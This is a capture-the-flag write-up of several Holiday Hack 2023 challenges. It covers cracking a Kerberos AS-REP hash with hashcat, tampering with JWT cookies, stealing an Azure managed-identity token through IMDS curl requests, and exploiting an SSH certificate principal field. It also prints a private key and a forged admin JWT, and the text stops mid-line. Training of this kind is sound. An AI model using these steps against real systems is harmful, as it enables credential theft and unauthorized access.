and run/bin/runtoanswer IluvC4ndyC4nes!
๐ฌ Eve Snowshoes Conversation:
Greetings, fellow adventurer! Welcome to Scaredy-Kite Heights, the trailhead of the trek through the mountains on the way to the wonderful Squarewheel Yard!
I'm Eve Snowshoes, resident tech hobbyist, and I hear Alabaster is in quite the predicament.
Our dear Alabaster forgot his password. He's been racking his jingle bells of memory with no luck.
I've been trying to handle this password recovery thing parallel to this hashcat business myself but it seems like I am missing some tricks.
So, what do you say, chief, ready to get your hands on some hashcat action and help a distraught elf out?
Aha! Success! Alabaster will undoubtedly be grateful for our assistance.
Onward to our next adventure, comrade! Feel free to explore this whimsical world of gears and steam!
๐ก Breakdown:
Using the destinations menu, quick travel to Scaredy Kite Heights
on the Island of Misfit Toys
. Head northeast to find Eve Snowshoes
and interact with the Hashcat
Cranberry Pi terminal.
Understand the hash type to be cracked is Kerberos 5, etype 23, AS-REP (18200)
by viewing the hash.txt
file and comparing it against example hashes.
elf@6881680c1305:~$ cat hash.txt
$krb5asrep$23$alabaster_snowball@XMAS.LOCAL:22865a2bceeaa73227ea4021879eda02$8f07417379e610e2dcb0621462fec3675bb5a850aba31837d541e50c622dc5faee60e48e019256e466d29b4d8c43cbf5bf7264b12c21737499cfcb73d95a903005a6ab6d9689ddd2772b908fc0d0aef43bb34db66af1dddb55b64937d3c7d7e93a91a7f303fef96e17d7f5479bae25c0183e74822ac652e92a56d0251bb5d975c2f2b63f4458526824f2c3dc1f1fcbacb2f6e52022ba6e6b401660b43b5070409cac0cc6223a2bf1b4b415574d7132f2607e12075f7cd2f8674c33e40d8ed55628f1c3eb08dbb8845b0f3bae708784c805b9a3f4b78ddf6830ad0e9eafb07980d7f2e270d8dd1966elf@b488e8994f7f:~$
Crack the hash using hashcat
and the provided wordlist.
elf@6881680c1305:~$ hashcat -m 18200 hash.txt password_list.txt -w 1 -u 1 --kernel-accel 1 --kernel-loops 1 --force
hashcat (v5.1.0) starting...
OpenCL Platform #1: The pocl project
====================================
* Device #1: pthread-Intel(R) Xeon(R) CPU @ 2.80GHz, 8192/30063 MB allocatable, 8MCU
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
* Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=16 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=18200 -D _unroll'
* Device #1: Kernel m18200_a0-pure.d7bc3268.kernel not found in cache! Building may take a while...
Dictionary cache built:
* Filename..: password_list.txt
* Passwords.: 144
* Bytes.....: 2776
* Keyspace..: 144
* Runtime...: 0 secs
The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework
Approaching final keyspace - workload adjusted.
$krb5asrep$23$alabaster_snowball@XMAS.LOCAL:22865a2bceeaa73227ea4021879eda02$8f07417379e610e2dcb0621462fec3675bb5a850aba31837d541e50c622dc5faee60e48e019256e466d29b4d8c43cbf5bf7264b12c21737499cfcb73d95a903005a6ab6d9689ddd2772b908fc0d0aef43bb34db66af1dddb55b64937d3c7d7e93a91a7f303fef96e17d7f5479bae25c0183e74822ac652e92a56d0251bb5d975c2f2b63f4458526824f2c3dc1f1fcbacb2f6e52022ba6e6b401660b43b5070409cac0cc6223a2bf1b4b415574d7132f2607e12075f7cd2f8674c33e40d8ed55628f1c3eb08dbb8845b0f3bae708784c805b9a3f4b78ddf6830ad0e9eafb07980d7f2e270d8dd1966:IluvC4ndyC4nes!
Session..........: hashcat
Status...........: Cracked
Hash.Type........: Kerberos 5 AS-REP etype 23
Hash.Target......: $krb5asrep$23$alabaster_snowball@XMAS.LOCAL:22865a2...dd1966
Time.Started.....: Thu Dec 7 00:09:19 2023 (0 secs)
Time.Estimated...: Thu Dec 7 00:09:19 2023 (0 secs)
Guess.Base.......: File (password_list.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1139 H/s (1.07ms) @ Accel:1 Loops:1 Thr:64 Vec:16
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 144/144 (100.00%)
Rejected.........: 0/144 (0.00%)
Restore.Point....: 0/144 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-0
Candidates.#1....: 1LuvCandyC4n3s!2022 -> iLuvC4ndyC4n3s!23!
Started: Thu Dec 7 00:09:00 2023
Stopped: Thu Dec 7 00:09:20 2023
IluvC4ndyC4nes!
Submit IluvC4ndyC4nes!
via /bin/runtoanswer
to solve the challenge.
elf@6881680c1305:~$ /bin/runtoanswer IluvC4ndyC4nes!
Your answer: IluvC4ndyC4nes!
Checking....
Your answer is correct!
๐ Elf Hunt ๐๐๐
๐ Objective: Piney Sappington needs a lesson in JSON web tokens. Hack Elf Hunt and score 75 points.
โต Destination: Pixel Island (Rainraster Cliffs)
โ๏ธ Solution: Get at least 75 points
in the Elf Hunt challenge.
- โ๏ธ Sail north to
Pixel Island
and dock atRainraster Cliffs
on the back of the island - โ๏ธ Head east and north up the ladder to find
Piney Sappington
and theElf Hunt
challenge - โ๏ธ Intercept and modify the assigned
ElfHunt_JWT
cookie to adjust elf speed - โ๏ธ Play the game and win the challenge, or just set your score to win
๐ฌ Piney Sappington Conversation:
Hey there, friend! Piney Sappington here.
You look like someone who's good with puzzles and games.
I could really use your help with this Elf Hunt game I'm stuck on.
I think it has something to do with manipulating JWTs, but I'm a bit lost.
If you help me out, I might share some juicy secrets I've discovered.
Let's just say things around here haven't been exactly... normal.
So, what do ya say? Are you in?
Oh, brilliant! I just know we'll crack this game together.
I can't wait to see what we uncover, and remember, mum's the word!
Thanks a bunch! Keep your eyes open and your ears to the ground.
Well done! You've brilliantly won Elf Hunt! I couldn't be more thrilled. Keep up the fine work, my friend!
What have you found there? The Captain's Journal? Yeah, he comes around a lot. You can find his comms office over at Brass Buoy Port on Steampunk Island.
๐ก Breakdown:
Sail north to Pixel Island
and dock at Rainraster Cliffs
. Head east and then north up the ladder to find Piney Sappington
and the Elf Hunt
challenge.
Play the challenge and intercept requests to and from elfhunt.org
to find the assigned ElfHunt_JWT
cookie.
Modify the second half of the cookie (preceding the first .
, and change the speed variable to slow down the elves.
Replace the current ElfHunt_JWT
cookie to include the modified speed variable.
JavaScript controlling the game can be examined to see this variable is set to control the speed of the elves. Thereโs also variables that control how many images (sponsor posters) will impede the gameplay.
Despite all of this the game doesnโt need to be played at all. The returned JavaScript can be modified to set the starting score variable to 75
or greater and instantly win the game.
This same modification can be made using the console at any time to instantly win the game.
๐ Certificate SSHenanigans ๐๐๐๐๐
๐ Objective: Go to Pixel Island and review Alabaster Snowballโs new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?
โต Destination: Pixel Island (Rainraster Cliffs)
โ๏ธ Solution: Gingerbread
- โ๏ธ Head east and then north further up ladders to reach
Alabaster Snowball
- โ๏ธ Speak to
Alabaster
to learn about the Northpole SSH Certificates web application - โ๏ธ Generate a
certificate
andupload the public key
to the application - โ๏ธ Use the
system public key
andgenerated public key
to access themonitor
account - โ๏ธ Breakout of the
SatTracker
interface and use the Azure Instance Metadata Service to request anauthorization
key - โ๏ธ Use the
authorization
key to uncover the source code and locate the hiddenPrincipal
manipulation vulnerability - โ๏ธ Generate a new public key to access the
alabaster
account and readalabaster_todo.md
๐ฌ Alabaster Snowball Conversation:
Hey there! I'm currently a bit swamped with this Azure deployment.
Once I'm done I'll tell you about it. It's pretty awesome!
You'll need a bit of Azure knowledge though. Sparkle Redberry can help you get up to speed on that. You can find her at the Rudolph's Rest Resort on Christmas Island.
Hello there! Alabaster Snowball at your service.
I could use your help with my fancy new Azure server at ssh-server-vm.santaworkshopgeeseislands.org.
ChatNPT suggested I upgrade the host to use SSH certificates, such a great idea!
It even generated ready-to-deploy code for an Azure Function App so elves can request their own certificates. What a timesaver!
I'm a little wary though. I'd appreciate it if you could take a peek and confirm everything's secure before I deploy this configuration to all the Geese Islands servers.
Generate yourself a certificate and use the monitor account to access the host. See if you can grab my TODO list.
If you haven't heard of SSH certificates, Thomas Bouve gave an introductory talk and demo on that topic recently.
Oh, and if you need to peek at the Function App code, there's a handy Azure REST API endpoint which will give you details about how the Function App is deployed.
Oh my! I was so focused on the SSH configuration I completely missed the vulnerability in the Azure Function App.
Why would ChatNPT generate code with such a glaring vulnerability? It's almost like it wanted my system to be unsafe. Could ChatNPT be evil?
Thanks for the help, I'll go and update the application code immediately!
While we're on the topic of certificates, did you know Active Directory (AD) uses them as well? Apparently the service used to manage them can have misconfigurations too.
You might be wondering about that SatTrackr tool I've installed on the monitor account?
Here's the thing, on my nightly stargazing adventures I started noticing the same satellite above Geese Islands.
I wrote that satellite tracker tool to collect some additional data and sure enough, it's in a geostationary orbit above us.
No idea what that means yet, but I'm keeping a close eye on that thing!
๐ก Breakdown:
Head east to find another ladder, climb this ladder before heading west and climbing a final ladder to Alabaster Snowball
.
Talk to Alabaster
to learn about the Northpole SSH Certificates web application and challenge objective.
Use ssh-keygen
to create a public and private key pair.
root@mintsec:~/Desktop/Kringlecon2023# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /root/Desktop/Kringlecon2023/.ssh/id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/Desktop/Kringlecon2023/.ssh/id_rsa.
Your public key has been saved in /root/Desktop/Kringlecon2023/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:SElnZMRuO+VDY+yhDo4mlFqZDbwC0bY+/+7lLhQ8FHE root@mintsec
The key's randomart image is:
+---[RSA 3072]----+
| . +*E |
|. o ..*. |
| + . oo. . |
|. + .+.o B |
|.. B .+SO o |
|. X . o + + |
| = o + o.. . |
|. . + oo. |
| o ++oo |
+----[SHA256]-----+
Submit the public key (in this instance /root/Desktop/Kringlecon2023/.ssh/id_rsa.pub
) to the web application and retrieve the ssh_cert
generated. Save the content to a file locally (in this instance /root/Desktop/Kringlecon2023/.ssh/certificate.pub
)
Confirm the key is valid.
ssh-keygen -lf /root/Desktop/Kringlecon2023/.ssh/certificate.pub
Provide the generated system certificate public key
to the web application along with your private key
to authenticate as the monitor
user account.
ssh -i /root/Desktop/Kringlecon2023/.ssh/certificate.pub -i /root/Desktop/Kringlecon2023/.ssh/id_rsa [email protected]
Using CTRL + C
break out of the monitoring application into a user bash shell. Examine user principals on the system at /etc/ssh/auth_principals
to determine elf
and admin
are available.
Using the Azure Instance Metadata Service (IMDS)
request an authorization token
from the managed identities for Azure resources
endpoint.
monitor@ssh-server-vm:~$ curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true -s|jq
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDIwMDI1NjYsIm5iZiI6MTcwMjAwMjU2NiwiZXhwIjoxNzAyMDg5MjY2LCJhaW8iOiJFMlZnWU5pNzlQdWxoNmNUOVd2YWRJN2ZXMnRlRFFBPSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwicmgiOiIwLkFGRUEybzZqa0FaQTFVMlNUR3lsWEt6QlRVWklmM2tBdXRkUHVrUGF3ZmoyTUJQUUFBQS4iLCJzdWIiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJ0aWQiOiI5MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQiLCJ1dGkiOiJCTGNmSXZCX09FbVpHMkJaUkZZVkFBIiwidmVyIjoiMS4wIiwieG1zX2F6X3JpZCI6Ii9zdWJzY3JpcHRpb25zLzJiMDk0MmYzLTliY2EtNDg0Yi1hNTA4LWFiZGFlMmRiNWU2NC9yZXNvdXJjZWdyb3Vwcy9ub3J0aHBvbGUtcmcxL3Byb3ZpZGVycy9NaWNyb3NvZnQuQ29tcHV0ZS92aXJ0dWFsTWFjaGluZXMvc3NoLXNlcnZlci12bSIsInhtc19jYWUiOiIxIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5NYW5hZ2VkSWRlbnRpdHkvdXNlckFzc2lnbmVkSWRlbnRpdGllcy9ub3J0aHBvbGUtc3NoLXNlcnZlci1pZGVudGl0eSIsInhtc190Y2R0IjoxNjk4NDE3NTU3fQ.CVLsdF92cK4DAh_pYHSJkTVT6l_IwId6wiQ8P0tMpQyt-NSxAtdAJ1wBACcV5JtkeiKsx0Aja2Wtqwuuv7x0QVpIw_PZQeJ06LEvScEFP-Wg4gj9Tgdopb3cj2sr6ycNOWak1qmG09wmM8TAUbb1S-giJDJcbfHIcU4k1jToia5Q0Xx2cZl_0DkKs4T4t5ueENglpoAKFtEllb-jNXxXSKbgnFnPJ3dXqdAiJTWIf4PJY3qOPCikNuPdLLtXrsGJMK5HfkpCOT1DN_bk1iHSWu0FJOFd4TgBIURFVORVQz_szXnXN96NLef2TZ0DNYtsy4nJjuZGdnkggpZz3NNTvw",
"client_id": "b84e06d3-aba1-4bcc-9626-2e0d76cba2ce",
"expires_in": "84651",
"expires_on": "1702089266",
"ext_expires_in": "86399",
"not_before": "1702002566",
"resource": "https://management.azure.com/",
"token_type": "Bearer"
}
Using the Azure IMDS
enumerate subscription
and resource group
information.
monitor@ssh-server-vm:~$ curl -s -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq
{
"compute": {
"azEnvironment": "AzurePublicCloud",
"customData": "",
"evictionPolicy": "",
"isHostCompatibilityLayerVm": "false",
"licenseType": "",
"location": "eastus",
"name": "ssh-server-vm",
"offer": "",
"osProfile": {
"adminUsername": "",
"computerName": "",
"disablePasswordAuthentication": ""
},
"osType": "Linux",
"placementGroupId": "",
"plan": {
"name": "",
"product": "",
"publisher": ""
},
"platformFaultDomain": "0",
"platformUpdateDomain": "0",
"priority": "",
"provider": "Microsoft.Compute",
"publicKeys": [],
"publisher": "",
"resourceGroupName": "northpole-rg1",
"resourceId": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/virtualMachines/ssh-server-vm",
"securityProfile": {
"secureBootEnabled": "false",
"virtualTpmEnabled": "false"
},
"sku": "",
"storageProfile": {
"dataDisks": [],
"imageReference": {
"id": "",
"offer": "",
"publisher": "",
"sku": "",
"version": ""
},
"osDisk": {
"caching": "ReadWrite",
"createOption": "Attach",
"diffDiskSettings": {
"option": ""
},
"diskSizeGB": "30",
"encryptionSettings": {
"enabled": "false"
},
"image": {
"uri": ""
},
"managedDisk": {
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/disks/ssh-server-vm_os_disk",
"storageAccountType": "Standard_LRS"
},
"name": "ssh-server-vm_os_disk",
"osType": "Linux",
"vhd": {
"uri": ""
},
"writeAcceleratorEnabled": "false"
},
"resourceDisk": {
"size": "38912"
}
},
"subscriptionId": "2b0942f3-9bca-484b-a508-abdae2db5e64",
"tags": "Project:HHC23",
"tagsList": [
{
"name": "Project",
"value": "HHC23"
}
],
"userData": "",
"version": "",
"vmId": "dc64208e-c208-446d-8288-7f2488035e34",
"vmScaleSetName": "",
"vmSize": "Standard_B2s",
"zone": ""
},
"network": {
"interface": [
{
"ipv4": {
"ipAddress": [
{
"privateIpAddress": "10.0.0.50",
"publicIpAddress": ""
}
],
"subnet": [
{
"address": "10.0.0.0",
"prefix": "24"
}
]
},
"ipv6": {
"ipAddress": []
},
"macAddress": "7C1E520227A2"
}
]
}
}
Adding the Authorization
token to a request header, use the Get Source Control REST API endpoint to retrieve the github repository hosting the web application.
Examine the function_app.py
script to discover it is attempting to parse a given parameter called principal
and then it uses this on the generated certificate.
Exploit the principal manipulation
vulnerability by making a new POST
request to the web application including a principal
field with the value admin
.
Save the retrieved certificate key
(in this instance to /root/Desktop/Kringlecon2023/.ssh/certificate2.pub
) and use this to authenticate to the SSH server as alabaster
.
ssh -i /root/Desktop/Kringlecon2023/.ssh/certificate2.pub -i /root/Desktop/Kringlecon2023/.ssh/id_rsa [email protected]
Read alabaster_todo.md
and submit the name of the cookie cache
that Alabaster
needs to implement.
alabaster@ssh-server-vm:~$ ls
alabaster_todo.md impacket
alabaster@ssh-server-vm:~$ cat alabaster_todo.md
# Geese Islands IT & Security Todo List
- [X] Sleigh GPS Upgrade: Integrate the new "Island Hopper" module into Santa's sleigh GPS. Ensure Rudolph's red nose doesn't interfere with the signal.
- [X] Reindeer Wi-Fi Antlers: Test out the new Wi-Fi boosting antler extensions on Dasher and Dancer. Perfect for those beach-side internet browsing sessions.
- [ ] Palm Tree Server Cooling: Make use of the island's natural shade. Relocate servers under palm trees for optimal cooling. Remember to watch out for falling coconuts!
- [ ] Eggnog Firewall: Upgrade the North Pole's firewall to the new EggnogOS version. Ensure it blocks any Grinch-related cyber threats effectively.
- [ ] Gingerbread Cookie Cache: Implement a gingerbread cookie caching mechanism to speed up data retrieval times. Don't let Santa eat the cache!
- [ ] Toy Workshop VPN: Establish a secure VPN tunnel back to the main toy workshop so the elves can securely access to the toy blueprints.
- [ ] Festive 2FA: Roll out the new two-factor authentication system where the second factor is singing a Christmas carol. Jingle Bells is said to be the most secure.
Gingerbread
๐ The Captainโs Comms ๐๐๐๐๐
๐ Objective: Speak with Chimney Scissorsticks on Steampunk Island about the interesting things the captain is hearing on his new Software Defined Radio. Youโll need to assume the GeeseIslandsSuperChiefCommunicationsOfficer role.
โต Destination: Steampunk Island (Brass Bouy Port)
โ๏ธ Solution: Using the GeeseIslandsSuperChiefCommunicationsOfficer
role transmit 1224
and 1200
over the frequency 10426
- โ๏ธ Quick travel back to
Brass Bouy Port
onSteampunk Island
- โ๏ธ Head west, south, and then east to get to
Chimney Scissorsticks
andThe Captain's Comms
challenge - โ๏ธ Interact with the challenge and locate the
rMonitor.tok
file - โ๏ธ Modify
authorization
header usingrMonitor.tok
contents to getRadioMonitor
access - โ๏ธ Using the same naming convention locate a
rDecoder.tok
file - โ๏ธ Modify
authorization
header usingrDecoder.tok
contents to getRadioDecoder
access - โ๏ธ Decode the first
signal spike
to uncover the captainโs secret folderTH3CAPSPR1V4T3F0LD3R
- โ๏ธ Decode the second
signal spike
to uncover theGo Date
andGo Time
of the attack - โ๏ธ Decode the third
signal spike
to uncover thefrequency
to transmit on - โ๏ธ Obtain the captainโs
private key
andsign a JWT token
to grantGeeseIslandsSuperChiefCommunicationsOfficer
privileges - โ๏ธ Transmit the new time of attack
4
hours earlier than the one previously identified
๐ฌ Chimney Scissorsticks Conversation:
Heya, think you could help Piney Sappington on Rainraster Cliffs on Pixel Island and then give me a hand?
Ahoy there, I'm Chimney Scissorsticks!
You may have noticed some mischief-makers planning to stir up trouble ashore.
They've made many radio broadcasts which the captain has been monitoring with his new software defined radio (SDR).
The new SDR uses some fancy JWT technology to control access.
The captain has a knack for shortening words, some sorta abbreviation trick.
Not familiar with JWT values? No worries; just think of it as a clue-solving game.
I've seen that the Captain likes to carry his journal with him wherever he goes.
If only I could find the planned "go-date", "go-time", and radio frequency they plan to use.
Remember, the captain's abbreviations are your guiding light through this mystery!
Once we find a JWT value, these villains won't stand a chance.
The closer we are, the sooner we'll be thwarting their pesky plans!
We need to recreate an administrative JWT value to successfully transmit a message.
Good luck, matey! I've no doubts about your cleverness in cracking this conundrum!
Brilliant work! You've outsmarted those scoundrels with finesse!
๐ก Breakdown:
Quick travel to Brass Bouy Port
on Steampunk Island
and head west, south, and then east to get to Chimney Scissorsticks
and The Captain's Comms
challenge.
Identify various clickable components of the challenge, and understand the objective. Specifically after identifying the go-time
of the attack, a new transmission needs to be sent which is 4 hours earlier
.
Starting out with very limited access rights the Just Watch This: Owner's Card
mentions that thereโs 3
roles, RadioUser
, RadioMonitor
, and RadioDecoder
, in addition to the administrator role created during install.
Intercepting and examining any request shows the user cookie weโre assigned that grants us the radioUser
role. This JWT
token has a signature which is being validated, preventing us from trivially setting access rights to a different role.
Headers = {
"alg": "RS256",
"typ": "JWT"
}
Payload = {
"iss": "HHC 2023 Captain's Comms",
"iat": 1699485795.3403327,
"exp": 1809937395.3403327,
"aud": "Holiday Hack 2023",
"role": "radioUser"
}
Signature = "BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg"
The Just Watch This: Owner's Card
hints that a rMonitor.tok
file containing the radioMonitor
role token was created in the /jwtDefault
directory. This clue allows retrieving the file from https://captainscomms.com/jwtDefault/rMonitor.tok
so long as a proper authorization token of radioUser
is sent in the header. Failing to include the correct header presents an error.
The script converting any justWatchThisRole
cookie into an Authorization
header can be found by viewing network traffic or intercepting requests to and from captainscomms.com
.
By either setting the appropriate Authorization
header or justWatchThisRole
cookie, the JWT
to become radioMonitor
is obtained.
Setting this JWT
in Burp Suite
and decoding it using the JWT Editor
extension, we can see that it is a long-lived token for the radioMonitor
account.
At this point thereโs now access to the radio monitor
, but without the ability to decode any of the radio waves.
Looking back at the Just Watch This: Owner's Card
, it mentions that the radioDecoder
role is also setup during system install. Using the naming convention knowledge of rMonitor.tok
being the radio monitor
default JWT
token, the radio decoder
token can be found at https://captainscomms.com/jwtDefault/rDecoder.tok
.
Setting this as the new Authorization
header or justWatchThisRole
cookie allows access to decoding the radio waves.
โ Radio wave 1
The first radio wave reveals a message stating SILLY CAPTAIN! WE FOUND HIS FANCY RADIO PRIVATE KEY IN A FOLDER CALLED TH3CAPSPR1V4T3F0LD3R
.
This provides part of the location where the captainโs private key
is located.
โ Radio wave 2
The second radio wave reveals what looks to be a numbers
station broadcast based on what is inferred in the Just Watch This Appendix A - Decoder Index
.
By stripping the message back to 5-digit
number groups, it appears that every number is padded with the value 9
.
12249 12249 16009 16009 12249 12249 16009 16009
Stripping this off leaves 2
unique values.
1224 1600
These values indicate the date and time
the attack will take place (November 24, at 4pm
)
โ Radio wave 3
The third radio wave reveals a drawing of Geese Islands
including a frequency value 10426
.
At this point thereโs enough to solve the challenge if you have access to the administrator role. After completing the Elf Hunt
challenge a captains journal
is discovered that talks about the role of GeeseIslandsSuperChiefCommunicationsOfficer
.
This is likely the role required, but cannot be accessed without the captainโs private key
. Looking at the Captain's ChatNPT Initial To-Do List
, it states the private key
has been moved to a keys
folder in the same directory as the roleMonitor
token.
Based on this the captains private key can be found at https://captainscomms.com/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key
when accessed with the radioDecoder
Authorization
header.
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCwlm4slUHgR+1Q
5A3UC7BXMnKvUxrjEWjoSwTOuSmudBx2DDPaIwzvogSIfwWWApkbVTRFTg3ey4jb
g0mxvnAnfbshhcC44sEvMg3rmdCEn3AE9HtZ3gSijbAk/abYcrCRblhp2PpPZiDB
kuah3eqfomWE3TcM6TVuI24sPJZqj4w+aDZFzENHY9Gd8Fqu3PDQc8HXILZKnfd4
MaSkhdpzH+UZUcVXETWm1c/5qw4DMrXAR7PIOPJTFlwwyZXRWJvN5dvGxdi9XeSd
JyvZZg6pnmyxrhFqH2xaebQIobrfz+VUP2TBu9w7aUyVR5Onu/A5NcQbJp2kHRay
4gq48fq5AgMBAAECggEATlcmYJQE6i2uvFS4R8q5vC1u0JYzVupJ2sgxRU7DDZiI
adyHAm7LVeJQVYfYoBDeANC/hEGZCK7OM+heQMMGOZbfdoNCmSNL5ha0M0IFTlj3
VtNph9hlwQHP09FN/DeBWruT8L1oauIZhRcZR1VOuexPUm7bddheMlL4lRp59qKj
9k1hUQ3R3qAYST2EnqpEk1NV3TirnhIcAod53aAzcAqg/VruoPhdwmSv/xrfDS9R
DCxOzplHbVQ7sxZSt6URO/El6BrkvVvJEqECMUdON4agNEK5IYAFuIbETFNSu1TP
/dMvnR1fpM0lPOXeUKPNFveGKCc7B4IF2aDQ/CvD+wKBgQDpJjHSbtABNaJqVJ3N
/pMROk+UkTbSW69CgiH03TNJ9RflVMphwNfFJqwcWUwIEsBpe+Wa3xE0ZatecEM9
4PevvXGujmfskst/PuCuDwHnQ5OkRwaGIkujmBaNFmpkF+51v6LNdnt8UPGrkovD
onQIEjmvS1b53eUhDI91eysPKwKBgQDB5RVaS7huAJGJOgMpKzu54N6uljSwoisz
YJRY+5V0h65PucmZHPHe4/+cSUuuhMWOPinr+tbZtwYaiX04CNK1s8u4qqcX2ZRD
YuEv+WNDv2e1XjoWCTxfP71EorywkEyCnZq5kax3cPOqBs4UvSmsR9JiYKdeXfaC
VGiUyJgLqwKBgQDL+VZtO/VOmZXWYOEOb0JLODCXUdQchYn3LdJ3X26XrY2SXXQR
wZ0EJqk8xAL4rS8ZGgPuUmnC5Y/ft2eco00OuzbR+FSDbIoMcP4wSYDoyv5IIrta
bnauUUipdorttuIwsc/E4Xt3b3l/GV6dcWsCBK/i5I7bW34yQ8LejTtGsQKBgAmx
NdwJpPJ6vMurRrUsIBQulXMMtx2NPbOXxFKeYN4uWhxKITWyKLUHmKNrVokmwelW
Wiodo9fGOlvhO40tg7rpfemBPlEG405rBu6q/LdKPhjm2Oh5Fbd9LCzeJah9zhVJ
Y46bJY/i6Ys6Q9rticO+41lfk344HDZvmbq2PEN5AoGBANrYUVhKdTY0OmxLOrBb
kk8qpMhJycpmLFwymvFf0j3dWzwo8cY/+2zCFEtv6t1r7b8bjz/NYrwS0GvEc6Bj
xVa9JIGLTKZt+VRYMP1V+uJEmgSnwUFKrXPrAsyRaMcq0HAvQOMICX4ZvGyzWhut
UdQXV73mNwnYl0RQmBnDOl+i
-----END PRIVATE KEY-----
Adding this private key
into the JWT Editor
extension of Burp Suite
, the JWT
can then be modified to grant access to the role of GeeseIslandsSuperChiefCommunicationsOfficer
before being resigned to ensure a valid signature.
This grants access to a new Authorization
token (in this instance shown below).
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6IkdlZXNlSXNsYW5kc1N1cGVyQ2hpZWZDb21tdW5pY2F0aW9uc09mZmljZXIifQ.N-8MdT6yPFge7zERpm4VdLdVLMyYcY_Wza1TADoGKK5_85Y5ua59z2Ke0TTyQPa14Z7_Su5CpHZMoxThIEHUWqMzZ8MceUmNGzzIsML7iFQElSsLmBMytHcm9-qzL0Bqb5MeqoHZYTxN0vYG7WaGihYDTB7OxkoO_r4uPSQC8swFJjfazecCqIvl4T5i08p5Ur180GxgEaB-o4fpg_OgReD91ThJXPt7wZd9xMoQjSuPqTPiYrP5o-aaQMcNhSkMix_RX1UGrU-2sBlL01FxI7SjxPYu4eQbACvuK6G2wyuvaQIclGB2Qh3P7rAOTpksZSex9RjtKOiLMCafTyfFng
Using this token the transmitter can now be accessed.
Transmitting the correct frequency
, go-date
, and go-time
previously obtained whilst ensuring the go-time
is reduced by 4
hours solves the challenge.
- Frequency:
10426
- Go Date:
1224
- Go Time: 1600-400=
